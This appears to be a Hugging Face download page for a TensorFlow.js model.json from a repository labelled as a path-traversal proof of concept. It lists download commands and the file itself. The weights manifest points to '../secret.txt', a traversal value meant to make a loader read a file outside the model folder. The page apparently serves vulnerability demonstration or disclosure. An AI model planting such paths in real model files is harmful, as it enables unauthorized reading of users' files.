Download model/model.json from MomoFan/tfjs-weights-path-traversal-poc: direct link, hf CLI and curl.
- Browser
- Download file 750 Bytes
-
https://huggingface.co/MomoFan/tfjs-weights-path-traversal-poc/resolve/main/model/model.json
- Command line
-
hf download hf://MomoFan/tfjs-weights-path-traversal-poc/model/model.json
-
curl -L -o model.json https://huggingface.co/MomoFan/tfjs-weights-path-traversal-poc/resolve/main/model/model.json
750 Bytes
| { | |
| "format": "layers-model", | |
| "generatedBy": "keras v2.11.0", | |
| "convertedBy": "TensorFlow.js Converter v4.0.0", | |
| "modelTopology": { | |
| "class_name": "Sequential", | |
| "config": { | |
| "name": "sequential", | |
| "layers": [ | |
| { | |
| "class_name": "Dense", | |
| "config": { | |
| "units": 1, | |
| "activation": "linear", | |
| "use_bias": false, | |
| "name": "dense", | |
| "dtype": "float32" | |
| } | |
| } | |
| ] | |
| } | |
| }, | |
| "weightsManifest": [ | |
| { | |
| "paths": [ | |
| "../secret.txt" | |
| ], | |
| "weights": [ | |
| { | |
| "name": "dense/kernel", | |
| "shape": [ | |
| 1, | |
| 1 | |
| ], | |
| "dtype": "float32" | |
| } | |
| ] | |
| } | |
| ] | |
| } |